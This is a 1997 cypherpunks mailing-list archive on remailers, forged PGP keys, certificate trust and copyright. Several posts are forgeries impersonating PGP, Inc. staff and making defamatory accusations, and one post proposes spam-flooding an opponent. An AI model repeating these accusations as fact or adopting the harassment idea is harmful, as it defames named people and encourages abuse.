Message-ID: <m0wjZ4s-0003bBC@ulf.mali.sub.org>
MIME-Version: 1.0
Content-Type: text/plain



I have been pointed to a paper that addresses the problem of receiving
messages anonymously without using a return path:

 David A. Cooper, Kenneth P. Birman: Preserving Privacy in a Network of
 Mobile Computers. IEEE symposium on Security and Privacy, May 1995.
 http://cs-tr.cs.cornell.edu/TR/CORNELLCS:TR95-1490

Their solution is similar to the one recently described by Matt Ghio
on cypherpunks.


Many of you sure are aware of the BABEL anonymous remailer developed
by Ceki Gülcü and Gene Tsudik of IBM Zurich, but I have not seen it
mentioned here.

Their proposal for return paths is a significant improvement over
cypherpunk-style reply blocks, but I still think that return addresses
should be provided via message pools or similar means, while the mix
net is used only to send messages anonymously.

The paper, which is cited in the papers on Crowds and Onion Routing,
contains a well thought-out section motivatiting the use of anonymous
e-mail.

 Ceki Gülcü, Gene Tsudik: Mixing Email with BABEL. Proceedings of the
 Symposium on Network and Distributed Systems Security (SNDSS '96).
 http://http://www.isi.edu/~gts/paps/gt95.ps.gz





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Michael J. Iannamico" <mji@pgp.com>
Date: Thu, 3 Jul 1997 16:14:44 +0800
To: cypherpunks@toad.com
Subject: Re: PGP security problems?
Message-ID: <199707030758.BAA28247@wombat.sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1


Please be advised that the message sent to the cypherpunks
list purporting to be from Carolyn Turbyfill <turby@pgp.com>
was a forgery. 
The PGP signature on the file, apparently from Marc Briceno
<mark@digicash.com> may have been a forgery, as well, since
it is unlikely that Marc would know whether or not Carolyn
wears panties. It may be that the forger quite simply made
a lucky guess.

Oh! Not that I've been peeking up the women's skirts at
the office. I'm in therapy now, and all of that is behind
me. I must have just heard it from someone else in the
office.
Not that we're a bunch of perverts who sit around talking
about that kind of thing, mind you.

(I'd better shut up while I still have a job.)

Oh! I know. This message must be a forgery, too. Yes, that's
it...this message is a _forgery_! It's not me writing it,
its that sick, demented, cypherpunk forger.
I'm not backsliding. I attend all the meetings and I am
taking my medication regularly.

It's the _forger_, I tell you...the _forger_!!!

Michael J. Iannamico <mji@pgp.com>
"I'm feeling much better now."

-----BEGIN PGP SIGNATURE-----
Version: PGP for Personal Privacy 5.0
Charset: noconv

iQA/AwUBM7tbH2vmZC203a9iEQJjjQCg1IICgkrGCdiydWAlqjbpoxQ5YEEAoNco
CjhwCCVEz/ALHinvGNhJHvDT
=sjFj
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Philip Nathan <philipn@pgp.com>
Date: Thu, 3 Jul 1997 17:14:08 +0800
To: cypherpunks@toad.com
Subject: Re: PGP security problems?
Message-ID: <199707030855.CAA00113@wombat.sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1


I've been a nervous wreck tonight, reading all of the forged
messages revealing the secrets of a number of my fellow PGP,
Inc. employees.
It is only a matter of time until the forger gets around to
me, so I might as well confess now that I've been stealing
money from the company and selling PGP, Inc. company secrets
to the competition.

I'm not proud of what I've done, but I am desperate to get
out of this madhouse. 
Pantyless women, men who shine their shoes twelve times a
day to peek up the women's skirts. Spooks all over the place
and Phil Zimmerman sending Tim C. May ASCII-art slams to the
cypherpunks list (while blaming it on Dr. Vulis).
The child-pornography ring and the incessant drug dealing
within the company are bad enough, but what I find really
intolerable is the support for terrorists and the plot to
help secret government agencies rule the U.S.

Of course, if you check the cypherpunk archives, you'll
probably find that Tim May predicted all of this happening
in a post he sent to the list in '92.

Philip Nathan <philipn@pgp.com>

There's something wrong when I'm a felon under an increasing number of
laws.
Only one response to the key forgers is warranted: "Death to Everyone!"
-
---------:---------:---------:---------:---------:---------:---------:----
Philip Nathan               | Crypto Anarchy: encryption, digital money,
philipn@pgp.com             | anonymous networks, digital pseudonyms,
zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information
markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information
superhighway."

-----BEGIN PGP SIGNATURE-----
Version: PGP for Personal Privacy 5.0
Charset: noconv

iQA/AwUBM7tobvNv9MGSYz54EQL82QCfelOV54gMyMeSUhUM3gz3dS00TpgAoLpo
nIAXn3NpRcJZ+bzV8Cd6NNu0
=l0oJ
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Thu, 3 Jul 1997 09:25:33 +0800
To: cypherpunks@toad.com
Subject: Re: Jeff's Side of the Story.
Message-ID: <199707030110.DAA05747@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



> > Beware... all of this is speculation, because huge.cajones was an
> > anonymous service, not even I can say with any authority that any
> > of the people named below had anything to do with the shutdown of
> > huge.cajones (or The MailMasher).  However, there are a number of
> > coincidences of timing.

  Who was it that used the threat of a lawsuit to shut down the
remailer?
  I, for one, would be more than happy to make certain that they
receive ample opportunity to "Make $$Money$$ Fast!!" by receiving
a mountain of information as to how to do so.
  Anyone who would attack a remailer is probably involved in child
pornography and drug dealing and these perverts should be exposed
for what they are.

D r .  R o b e r t s





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: cypherpunks@Algebra.COM
Date: Thu, 3 Jul 1997 19:14:07 +0800
To: <cypherpunks@Algebra.COM>
Subject: http://hipcrime.home.ml.org
Message-ID: <199707031108.EAA20189@italy.it.earthlink.net>
MIME-Version: 1.0
Content-Type: text/plain



http://hipcrime.home.ml.org





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Robert A. Costner" <pooh@efga.org>
Date: Thu, 3 Jul 1997 16:30:46 +0800
To: cypherpunks@toad.com
Subject: Re: PGP security problems?
In-Reply-To: <199707030715.BAA26652@wombat.sk.sympatico.ca>
Message-ID: <3.0.3.32.19970703041536.00cc566c@mail.atl.bellsouth.net>
MIME-Version: 1.0
Content-Type: text/plain



At 01:18 AM 7/3/97 EST, Carolyn Turbyfill (probably didn't) write:
>The email forgeries using bogus PGP keys to give the appearance
>that the messages are from PGP, Inc. and our employees are the
>result of a sick, twisted mind.

While a keyserver with no authentication has a very low barrier to entry
for false authentication, the barrier is not that much higher for even a
Verisign class three verification.  I've continually said that the biggest
problem with secure authentication is that secure authentication is not
possible.

I hate to see people doing such things with keyservers and keys, but we all
knew the problem existed.  I wonder where the solution is.


  -- Robert Costner                  Phone: (770) 512-8746
     Electronic Frontiers Georgia    mailto:pooh@efga.org  
     http://www.efga.org/            run PGP 5.0 for my public key





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Thu, 3 Jul 1997 12:02:20 +0800
To: cypherpunks@toad.com
Subject: PGP security problems?
Message-ID: <199707030343.FAA29463@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



 I saw this on another mailing list and was wondering if anyone has any
information as to what kind of security problems PGP had.

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1


Due to security problems Pretty Good Privacy, Inc., will be using
a new signing key in our email correspondence, with an effective
date of July 1, 1997.

The new key can be downloaded from our keyserver at:
http://www.pgp.com

Any PGP Corporate key other than the following should be regarded
as having been revoked:
pub  1024/6C309BDF 1997/06/30 
Pretty Good Privacy, Inc. Corporate Key <pgp@pgp.com>

All employee keys with pgp.com addresses should also be regarded
as having been revoked unless signed with the new Corporate Key.


-----BEGIN PGP SIGNATURE-----
Version: PGP for Personal Privacy 5.0
Charset: noconv

iQA/AwUBM7sc7UlfPVhsMJvfEQJMIACgwqhazDJfN6WqX2HBrq/klG0opmgAoOi6
btA8EoPROpqc9VA2V9fP1Nou
=v0eg
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Steve Schear <azur@netcom.com>
Date: Thu, 3 Jul 1997 22:21:01 +0800
To: cypherpunks@toad.com
Subject: Re: Liberating the Bits
In-Reply-To: <199707022134.PAA16117@wombat.sk.sympatico.ca>
Message-ID: <v03102809afe162a40f2d@[10.0.2.15]>
MIME-Version: 1.0
Content-Type: text/plain



>BigNuts wrote:
>  There is also a minimum level of sustenance needed by those who
>produce the products we use, and if this is not met, then they cease
>producing those products. If you copy George Strait's albums without
>putting a few pennies in his pocket, it is not likely to inhibit his
>market enough to matter, but if you do the same with an album by a
>group who is living in a station-wagon between gigs, then you might
>find yourself wondering "What ever happened to 'Psychotic Losers'?"

An alternative would be for the creators to publish their PK and the amount
of money they get from the sale of each item.  Then well-meaning theives
can directly and anonymously send the artists ecash and sleep well at night
knowing the artist and not the vermin are benefiting.

--Steve


PGP mail preferred
Fingerprint: FE 90 1A 95 9D EA 8D 61  81 2E CC A9 A4 4A FB A9
---------------------------------------------------------------------
Steve Schear              | tel: (702) 658-2654
CEO                       | fax: (702) 658-2673
First ECache Corporation  |
7075 West Gowan Road      |
Suite 2148                |
Las Vegas, NV 89129       | Internet: azur@netcom.com
---------------------------------------------------------------------

        I know not what instruments others may use,
        but as for me, give me Ecache or give me debt.

        SHOW ME THE DIGITS!






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Thu, 3 Jul 1997 14:18:20 +0800
To: cypherpunks@toad.com
Subject: Re: PGP security problems?
Message-ID: <199707030551.HAA15022@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Anonymous wrote:
> I saw this on another mailing list and was wondering if anyone has any
information as to what kind of security problems PGP had.

   The following appeared on several newsgroups I belong to.
---------
[Forward]
---------
From: Will Price <wprice@pgp.com>
Newsgroups:
alt.privacy.anon-server,alt.fan.john-hinkley,alt.religion.tantric-sex,alt.anonymous-assholes,alt.cypherpunks,news.admin.net-abuse.therapy
Subject: Security Problems at PGP
Followup-To:
alt.cypherpunks
Date: 2 Jul 1997 20:02:22 GMT

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

Anonymous wrote:
> Does anyone have the inside scoop on the security problems at PGP?

The problems encountered had to do with bogus keys of 
PGP employees being uploaded to the server. This has
been rectified by the creation of a new PGP Corporate
Key with which all employee keys must now be signed in
order to be considered valid.
The new PGP Corporate key, dated July 30, 1997, is now
available on the PGP, Inc. keyserver.

Will Price
-----BEGIN PGP SIGNATURE-----
Version: PGP for Personal Privacy 5.0
Charset: noconv

iQA/AwUBM7slnQolbA5ByKtoEQJNNgCgyK89QB7xQiwhgPUeoB5gMqc2BmEAoJhO
14xzY3rKoguftPd0qYWZsTyx
=+X4g
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ryan Anderson <randerso@ece.eng.wayne.edu>
Date: Thu, 3 Jul 1997 22:09:02 +0800
To: Bill Stewart <stewarts@ix.netcom.com>
Subject: Re: random remailer forwarding (Was: Jeff's Side of the Story.)
In-Reply-To: <3.0.2.32.19970702174350.0311cbf4@popd.ix.netcom.com>
Message-ID: <Pine.GSO.3.95.970703095244.29393B-100000@ece>
MIME-Version: 1.0
Content-Type: text/plain



On Wed, 2 Jul 1997, Bill Stewart wrote:

> >Well, to make the remailers more intelligent, have them count incoming
> >mail from the list of remailers participating in the system.  (either that
> >or a rate)  when one remailer seems to be sending much more mail than the
> >others (which shouldn't happen if all remailers are randomly distributing
> >the mail to each other)  you automatically do the random forward to
> >another remailer.
> 
> That's a way to guarantee that the remailers that aren't working
> get more of the traffic.....

So there's a few problems still, sheeeeeeshk.  Actually, if you haven't
heard anything from a remailer for a while, you'd probably drop it from
your calculations.  I'd also assume that the mailers participating in this
random forwarding system were at least somewhat stable.. :-)

-----------------------------------------------------------------------
Ryan Anderson - <Pug Majere>     "Who knows, even the horse might sing" 
Wayne State University - CULMA   "May you live in interesting times.."
randerso@ece.eng.wayne.edu                        Ohio = VYI of the USA 
PGP Fingerprint - 7E 8E C6 54 96 AC D9 57  E4 F8 AE 9C 10 7E 78 C9
-----------------------------------------------------------------------





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tom Allard <m1tca00@FRB.GOV>
Date: Thu, 3 Jul 1997 23:00:21 +0800
To: cypherpunks@toad.com
Subject: Re: Jeff's Side of the Story.
In-Reply-To: <199707030854.KAA07018@basement.replay.com>
Message-ID: <199707031416.KAA11262@bksmp2.FRB.GOV>
MIME-Version: 1.0
Content-Type: text/plain




> Please see http://www.netscum.net/burnorg0.html for more info.

whois netscum.net


NETSCUM (NETSCUM2-DOM)
   8001 Castor Avenue Ste. 127
   Philadelphia, PA 19152
   USA

   Domain Name: NETSCUM.NET

   Administrative Contact:
      NETSCUM  (NET33-ORG)  admin@NETSCUM.NET
      215-628-9780
Fax- 215-628-9762
   Technical Contact, Zone Contact:
      Wallace, Sanford  (SW1708)  domreg@CYBERPROMO.COM
      215-628-9780
   Billing Contact:
      NETSCUM  (NET33-ORG)  admin@NETSCUM.NET
      215-628-9780
Fax- 215-628-9762

   Record last updated on 01-May-97.
   Record created on 01-May-97.
   Database last updated on 3-Jul-97 04:38:10 EDT.

   Domain servers in listed order:

   NS7.CYBERPROMO.COM           205.199.2.250
   NS9.CYBERPROMO.COM           207.124.161.50
   NS8.CYBERPROMO.COM           207.124.161.65
   NS5.CYBERPROMO.COM           205.199.212.50


The InterNIC Registration Services Host contains ONLY Internet Information
(Networks, ASN's, Domains, and POC's).
Please use the whois server at nic.ddn.mil for MILNET Information.



rgds-- TA  (tallard@frb.gov)
I don't speak for the Federal Reserve Board, it doesn't speak for me.







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Thu, 3 Jul 1997 17:12:44 +0800
To: cypherpunks@toad.com
Subject: Re: Jeff's Side of the Story.
Message-ID: <199707030854.KAA07018@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



nobody@REPLAY.COM (Anonymous) wrote:
>> > Beware... all of this is speculation, because huge.cajones was an
>> > anonymous service, not even I can say with any authority that any
>> > of the people named below had anything to do with the shutdown of
>> > huge.cajones (or The MailMasher).  However, there are a number of
>> > coincidences of timing.
>
>  Who was it that used the threat of a lawsuit to shut down the
>remailer?
>  I, for one, would be more than happy to make certain that they
>receive ample opportunity to "Make $$Money$$ Fast!!" by receiving
>a mountain of information as to how to do so.
>  Anyone who would attack a remailer is probably involved in child
>pornography and drug dealing and these perverts should be exposed
>for what they are.

Please see http://www.netscum.net/burnorg0.html for more info.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Thu, 3 Jul 1997 23:40:10 +0800
To: cypherpunks@toad.com
Subject: AAAS Anonymity Project
Message-ID: <v03020928afe16e564cbf@[139.167.130.246]>
MIME-Version: 1.0
Content-Type: text/plain




--- begin forwarded text


Mime-Version: 1.0
Date:         Thu, 3 Jul 1997 10:32:01 -0400
Reply-To:     Law & Policy of Computer Communications
              <CYBERIA-L@LISTSERV.AOL.COM>
Sender:       Law & Policy of Computer Communications
              <CYBERIA-L@LISTSERV.AOL.COM>
From:         EGEHMAN <egehman@AAAS.ORG>
Subject:      AAAS Anonymity Project
To:           CYBERIA-L@LISTSERV.AOL.COM

     The Scientific Freedom, Responsibility, and Law Program of the
     American Association for the Advancement of Science (AAAS) is
     conducting an on-line survey to learn more about the uses of anonymity
     and pseudonymity on the Internet.  The survey, together with a series
     of focus group meetings and an invitational conference, is part of a
     project being funded by the National Science Foundation.  The project
     will generate a set of criteria describing the contexts in which
     anonymous and pseudonymous communications are desirable, permissible,
     or undesirable, and a set of guidelines for the use of anonymous and
     pseudonymous communications in those situations where their use is to
     be encouraged or at least tolerated.  Please visit the Project website
     to learn more about this timely project and tell us about your
     experiences with anonymity or pseudonymity:
     http://www.aaas.org/spp/anon.

     Founded in 1848, the AAAS is a nonprofit scientific society dedicated
     to the advancement of scientific and technological excellence, and to
     the public's understanding of science and technology.  AAAS is the
     world's largest federation of scientific and engineering societies,
     with nearly 300 affiliates.  In addition, AAAS has a membership of
     more than 143,000 scientists, engineers, science educators,
     policymakers, and interested citizens dedicated to scientific and
     technological progress in service to society.  AAAS is the publisher
     of the prestigious, peer-reviewed, weekly journal, SCIENCE.

     Project on Anonymous Communications on the Internet
     Directorate for Science & Policy Programs
     American Association for the Advancement of Science
     1200 New York Avenue, NW, Washington, DC, 20005
     Tel: 202 326 6600 Fax: 202 289 4950
     E-mail: anonspp@aaas.org
     URL: http://www.aaas.org/spp/anon

--- end forwarded text



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: tzeruch@ceddec.com
Date: Fri, 4 Jul 1997 00:02:13 +0800
To: cypherpunks@toad.com
Subject: Re: PGP security problems?
In-Reply-To: <Pine.LNX.3.93.970703155644.837A-100000@shirley>
Message-ID: <97Jul3.112901edt.32257@brickwall.ceddec.com>
MIME-Version: 1.0
Content-Type: text/plain



On Thu, 3 Jul 1997, ? the Platypus {aka David Formosa} wrote:

> Never trust a country with more peaple then sheep.

Never trust a country where the sheep are bipedal, especially when the
general policy is shearing is caring.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ray Arachelian <sunder@brainlink.com>
Date: Fri, 4 Jul 1997 00:11:01 +0800
To: Robert Hettinga <rah@shipwright.com>
Subject: Re: AAAS Anonymity Project (Be AFRAID!)
In-Reply-To: <v03020928afe16e564cbf@[139.167.130.246]>
Message-ID: <Pine.SUN.3.96.970703114626.23332B-100000@beast.brainlink.com>
MIME-Version: 1.0
Content-Type: text/plain



On Thu, 3 Jul 1997, Robert Hettinga wrote:

>      The Scientific Freedom, Responsibility, and Law Program of the
>      American Association for the Advancement of Science (AAAS) is
>      conducting an on-line survey to learn more about the uses of anonymity
>      and pseudonymity on the Internet.  The survey, together with a series
>      of focus group meetings and an invitational conference, is part of a
>      project being funded by the National Science Foundation.  The project
>      will generate a set of criteria describing the contexts in which
>      anonymous and pseudonymous communications are desirable, permissible,
>      or undesirable, and a set of guidelines for the use of anonymous and
	^^^^^^^^^^^^^^^

Sounds like an attempt at furthering legislation to curtail our freedoms.
I say stay the hell away from this.  It smells of evil TLA's.


=====================================Kaos=Keraunos=Kybernetos==============
.+.^.+.|  Ray Arachelian    | "If you wanna touch the sky, you must  |./|\.
..\|/..|sunder@sundernet.com| be prepared to die.  And I hate cough  |/\|/\
<--*-->| ------------------ | syrup, don't you?"                     |\/|\/
../|\..| "A toast to Odin,  | For with those which eternal lie, with |.\|/.
.+.v.+.|God of screwdrivers"| strange aeons, even death may die.     |.....
======================== http://www.sundernet.com =========================





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Hallam-Baker <hallam@ai.mit.edu>
Date: Fri, 4 Jul 1997 00:19:59 +0800
To: "Robert A. Costner" <cypherpunks@toad.com
Subject: Re: PGP security problems?
In-Reply-To: <199707030715.BAA26652@wombat.sk.sympatico.ca>
Message-ID: <33BBCB54.2781@ai.mit.edu>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

Robert A. Costner wrote:
> 
> At 01:18 AM 7/3/97 EST, Carolyn Turbyfill (probably didn't) write:
> >The email forgeries using bogus PGP keys to give the appearance
> >that the messages are from PGP, Inc. and our employees are the
> >result of a sick, twisted mind.
> 
> While a keyserver with no authentication has a very low barrier to entry
> for false authentication, the barrier is not that much higher for even a
> Verisign class three verification.  I've continually said that the biggest
> problem with secure authentication is that secure authentication is not
> possible.

I don't think thats a reasonable assertion at all. PGP is positing that
they have an online identification technique. Verisign are asserting
they
have performed a particular identification process and suggest that it
is 
sufficient for a particular purpose:

http://www.verisign.com/pr/pr_idfct.htm
Class 3 Digital IDs 

     Require personal presence or registered credentials

     Used for e-banking, large-sum transactions and contract execution

     Cost: $24/year for individuals, $290/year for entities/web servers
($75 per
     year renewal) 


If you are a bank or company that needs to depend on an identity inthis
circumastance the critical point is that you have a standardized level
of security. 

In electronic commerce it is rarely the case that one needs to reduce 
risk to zero. The question is whether you can quantify the risk you are
exposed to. Whether you can insure it.


> I hate to see people doing such things with keyservers and keys, but we all
> knew the problem existed.  I wonder where the solution is.

The solution is to put trust attributes in the certificates. If you
do an email callback you state that that is the identification 
process you used in the cert.

Two years back it would make sense to upgrade PGP certs to work in
this way. At this point however X.509v3 has become the standard,
the most commonly available form of email encryption is S/MIME
which is built into the default operating system from next year
and comes with Communicator. 

X509v3 may not be perfect but its there, it works and you can carry 
the same information and construct the same trust relationships that
PGP supports. You can also construct other relationships. Looking at
the practice of using X509v3 with Outlook Express I found that the 
actual mechanics of use were remarkably similar to PGP except that
it was easy to add in an entire trust domain such as my employer.

At this point I'm somewhat skeptical that a single vendor proprietary
solution should receive unquestioned support from cypherpunks on
the basis of history alone. The question is how to put cryptography
on every desk top on the planet. Bill Gates is a better aly in that
fight than Phil Z. 


I think its rather silly for people to start complaining on this 
list about the bad, bad, hackers. If we could trust people to be
good we would not need certificates or computer security at all.
Making unspecified and unsupported allegations against competitors 
seems to me to be a very bad idea indeed.



	Phill

-----BEGIN PGP SIGNATURE-----
Version: PGP for Personal Privacy 5.0
Charset: noconv

iQA/AwUBM7s2017MfpC8gEO7EQI7pACg0285HGGqLevqRTFZnzpB59PS8yoAn1Wp
0b7D8YcrmSn9VbjmAq55nKWx
=fRuw
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: tzeruch@ceddec.com
Date: Fri, 4 Jul 1997 00:42:57 +0800
To: cypherpunks@toad.com
Subject: Re: Liberating the Bits
In-Reply-To: <199707022134.PAA16117@wombat.sk.sympatico.ca>
Message-ID: <97Jul3.120022edt.32259@brickwall.ceddec.com>
MIME-Version: 1.0
Content-Type: text/plain



On Wed, 2 Jul 1997, BigNuts wrote:

> Michael Stutz wrote:
> > On Tue, 1 Jul 1997, Tim May wrote:
> > 
> > > Technology liberates the bits.
> > 
> > Copyright law is not only useless on the net but inefficient; one need only
> > compare the performance of free, copylefted software versus proprietary,
...
>   Tim gave excellent information on how one can go about using 
> technology to enjoy the fruits of other people's labour without 
> contributing toward the survival of those producing the things
> he enjoys.

Or the same technology can restrict usage - strongly encrypted software
that checks digitally signatured dates and stops upon expiration.  If you
don't want to honor the private contracts (licensing agreements where
applicable), then something else will replace them.  Maybe it will be free
software (which does work better than commercial software, but doesn't
always have the desired features).  Maybe it will be the technonightmare.

A great deal of evil can be committed, and the only difference is that now
"government" as we know it will be unable to control it.

Over 200 years ago, both the United States and France rid themselves of
their monarchy.  One ended in liberty, the other in anarchy, eventually
reinstalling a coercive government.  When the communists lost power in
eastern europe, many died from not obeying the sensible traffic laws.

I think it depends on how ethical the individual people will be when
confronted by the anarchy of the internet.  If I govern myself, I don't
need big brother to do it.  Might doesn't make right, it can only destroy
and not create, and at best merely preserve the peace.

Nor is it ethics in a pure, merely altruistic sense.  I want Phil
Zimmerman to be around and writing software.  For that to happen, it is in
my interest to contribute to him, either directly (PGP Inc. could be the
PGP foundation), or indirectly.  I want Linux to do certain things, so I
write them, and because of the free software ethic, I add my work to the
public pool - it would be more expensive to try selling it.  But I make
money by consulting and using the software that is available.

Although I believe there is nothing new under the sun, the breakdown of a
paternal/maternal enforcement entity called "government" will force a
change in society.  There will be a "new" ethical system, which is cause
for both hope and fear. 






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ulf@fitug.de (Ulf =?iso-8859-1?Q?M=F6ller?=)
Date: Thu, 3 Jul 1997 20:12:30 +0800
To: cypherpunks@Algebra.COM
Subject: urban environment visualization systems
Message-ID: <9707031205.AA68804@public.uni-hamburg.de>
MIME-Version: 1.0
Content-Type: text/plain



http://www.nttc.edu/solicitations/sbir/dod972/darpa972.txt

DARPA SB972-068           TITLE:   Multi-Platform  Real-Time  3-D Visualization 
                      System Urban Environments  and  3-D Terrain Imagery
KEY TECHNOLOGY AREA:  Computing and Software
OBJECTIVE:        Create a cross-platform (PC, Mac,  Sun,  SGI,  etc.) 
real-time 3-D visualization system capable of visualizing  ultra-high 
resolution urban environments immersed in global unlimited 3-D terrain imagery 
simultaneously.
DESCRIPTION: Most high performance visualization systems are currently limited 
to high-end graphics deskside work stations costing in excess of $100K. The 
low-cost of high performance dedicated graphics hardware for personal computers 
and low-end work stations has made it possible to create a cross-platform 
system that can visualize virtually infinite amounts of high-resolution data in 
real-time. Along with the enabling hardware, a highly integrated software 
system that can effectively utilize the hardware with advanced graphics and 
data handling technologies needs to be developed. Today, this capability only 
exists on costly, difficult to use, and inflexible high-end systems. An 
advanced system is required to: 
1) Visualize unlimited amounts of terrain and structure data in urban 
environments (e.g., large cities and military compounds containing complex 
structures) in real-time; 
2) Implement state-of-the-art rendering and data processing techniques to 
provide the best possible performance for all types of data; and, 
3) Run on a wide variety of systems ranging from high-end graphics work 
stations to standard PCs with dedicated graphics hardware.
         PHASE I: Define the visualization system to be developed, 
requirements, software architecture, high-level design, technical approaches, 
tradeoffs, and enhancements over current approaches and existing tools. 
Demonstrate proof-of-concepts on at least two different graphics platforms.
       PHASE II: Produce a prototype implementation of the system. Demonstrate 
capability on at least three different graphics platforms (high and low-end 
systems).
       PHASE III DUAL USE APPLICATIONS: The emergence of low-cost 3-D hardware 
for the PC platform has made practical the application of 3-D terrain and 
building visualization technology to address a variety of problems such as 
building physical security analysis (counterterrorism), urban planning, 
forestry management, geographic information systems, and architectural 
visualization. This program could greatly enhance the capability of businesses 
(located abroad or in the United States) and government agencies to conduct 
analysis of threats from terrorism or crime and to assist them in taking 
prudent measures to reduce their risks of terrorist or criminal attack. 
Portable visualization of urban settings enables any user to view their 
organization/businesses in a manner useful to identifying risks from bombs, 
sniping, or other security threats, and taking appropriate protective measures.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Thu, 3 Jul 1997 20:52:45 +0800
To: cypherpunks@toad.com
Subject: Re: McVeigh Sentence
Message-ID: <199707031235.OAA01707@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



On Tue, 17 Jun 1997, William H. Geiger III wrote:

> "There needs to be lifeguards at the shallow end of the gene pool"

Who said that originally? Can I borrow it?









From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ? the Platypus {aka David Formosa} <dformosa@st.nepean.uws.edu.au>
Date: Thu, 3 Jul 1997 16:58:37 +0800
To: "Robert A. Costner" <pooh@efga.org>
Subject: Re: PGP security problems?
In-Reply-To: <3.0.3.32.19970703041536.00cc566c@mail.atl.bellsouth.net>
Message-ID: <Pine.LNX.3.93.970703143356.579C-100000@shirley>
MIME-Version: 1.0
Content-Type: text/plain



On Thu, 3 Jul 1997, Robert A. Costner wrote:

[...]

> I hate to see people doing such things with keyservers and keys, but we all
> knew the problem existed.  I wonder where the solution is.

Well it all depeands on what you wish to do.  A simple mail back
authentacation schem would raise the barror to router and host spoofing.
Haveing ISP's sign there users public keys would also help.

Please excuse my spelling as I suffer from agraphia see the url in my header. 
Never trust a country with more peaple then sheep.  Buy easter bilbies.
Save the ABC Is $0.08 per day too much to pay?  ex-net.scum and prouud     
I'm sorry but I just don't consider 'because its yukky' a convinceing argument  





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ryan Anderson <randerso@ece.eng.wayne.edu>
Date: Fri, 4 Jul 1997 03:15:47 +0800
To: cypherpunks@toad.com
Subject: ISP signatures on outgoing mail
Message-ID: <Pine.GSO.3.95.970703150410.29801G-100000@ece>
MIME-Version: 1.0
Content-Type: text/plain




On Thu, 3 Jul 1997, Anonymous wrote:

> They need a standard for which headers to sign, then a dig sig can be
> included in the headers to check that a message came from where it
> claims.

this doesn't seem to help solve the problem very much.  The way SMTP works
right now, spammers can frequently just connect to somebodies SMTP server,
drop off a load of e-mail, and let their server handle it.  (identical to
how the ISPs customers drop off mail)

All we get out of this is a way to blame those who sign their mail and get
slammed by a spammer.

Funny, this wouldn't seem to hurt remailers all that much.  You'd
basically guarantee that, yes, the mail really did come from the anonymous
remailer.  :-)

-----------------------------------------------------------------------
Ryan Anderson - <Pug Majere>     "Who knows, even the horse might sing" 
Wayne State University - CULMA   "May you live in interesting times.."
randerso@ece.eng.wayne.edu                        Ohio = VYI of the USA 
PGP Fingerprint - 7E 8E C6 54 96 AC D9 57  E4 F8 AE 9C 10 7E 78 C9
-----------------------------------------------------------------------








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Fri, 4 Jul 1997 04:37:03 +0800
To: cypherpunks@toad.com
Subject: Re: PGP security problems?
Message-ID: <199707032025.PAA30172@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <33BBCB54.2781@ai.mit.edu>, on 07/03/97 
   at 11:55 AM, Hallam-Baker <hallam@ai.mit.edu> said:

>-----BEGIN PGP SIGNED MESSAGE-----
>Hash: SHA1

>Robert A. Costner wrote:
>> 
>> At 01:18 AM 7/3/97 EST, Carolyn Turbyfill (probably didn't) write:
>> >The email forgeries using bogus PGP keys to give the appearance
>> >that the messages are from PGP, Inc. and our employees are the
>> >result of a sick, twisted mind.
>> 
>> While a keyserver with no authentication has a very low barrier to entry
>> for false authentication, the barrier is not that much higher for even a
